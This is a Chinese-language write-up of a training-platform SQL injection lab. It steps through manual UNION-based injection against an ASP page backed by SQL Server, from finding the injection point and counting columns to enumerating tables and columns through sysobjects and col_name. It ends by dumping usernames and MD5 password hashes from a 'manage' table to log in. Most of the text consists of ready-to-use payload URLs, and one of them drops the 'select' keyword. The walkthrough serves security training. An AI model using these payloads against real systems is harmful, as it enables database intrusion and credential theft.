本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Sql Server数据库)。
地址:http://219.153.49.228:42295/new_list.asp?id=2(注意地址已失效仅供参考)
首先第一步,看是否存在注入点。
构造Payload “http://219.153.49.228:42295/new_list.asp?id=2 and 1=2”
http://219.153.49.228:42295/new_list.asp?id=2 and 1=2
回显报错,说明“and 1=2”语句拼接到了后端数据库查询语句当中。
接下来我们就开始猜解后端收据库能够返回多少个字段
使用order by构造Payload “http://219.153.49.228:42295/new_list.asp?id=1 order by 4”
http://219.153.49.228:42295/new_list.asp?id=1 order by 4
Order by是数据库查询的时候对结果进行的排序,如果后面写的是字段,则根据查询字段进行排序,但如果后面写的是数字,该数字大于所查询的字段数,则就会报错,小于的话就不会报错。
发现order by 5的时候没有数据回显,order by 4 有回显数据,所以后端返回到前端的数据字段数为4个。
下面就要开始检测这4个字段当中哪些字段可以被前端显示出来。
使用union 查询来构造Payload “http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all select 'null',null,null,null”通过前端页面是否显示null字符来判断第一个字段为回显数据字段。
http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all select 'null',null,null,null
通过测试发现只有第二第三个字段是前端回显数据字段。
这样我们就可以在这两个字段当中来查询我们想要的得到的数据。
例如得到当前数据库名称(db_name())和当前用户(user,system_user,current_user),@@SERVERNAME获取服务器主机信息以及数据库的版本(@@version)。
接下来咱们就开始爆表名。
构造payload “http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null”
http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null
其中sysobjects系统对象表,保存当前数据库的对象。Xtype='u' 代表查询表的操作。
如果希望爆出其余的表即可以构造payload “http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null”
直接name not in ('已经爆出的表名')
“http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null
大家还可以在name not in ('已爆出的表名1','已爆出的表名2') 小括号里添加更多已经爆出的表名,这里就不再尝试。
爆出表名就可以继续爆出字段名了 。
构造Payload:“http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null”
http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
其中object_id代表要查询字段的表名,数字1为第一列的字段,以次类推,直到查询不到字段名位置。
这里咱们直接从第二列字段名和第三列字段名知道了字段名有username,password。剩下的就交给小伙伴们自己去尝试吧!
接下来咱们就通过爆出的字段名来查询数据信息。
构造Payload:“http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all select null,username,password,null from manage”
http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all select null,username,password,null from manage
这样最终我们就可以获得数据了,将密码进行MD5解密(md5在线解密破解,md5解密加密),返回登录页进行登录,划倒页面最下端就可以看到KEY了。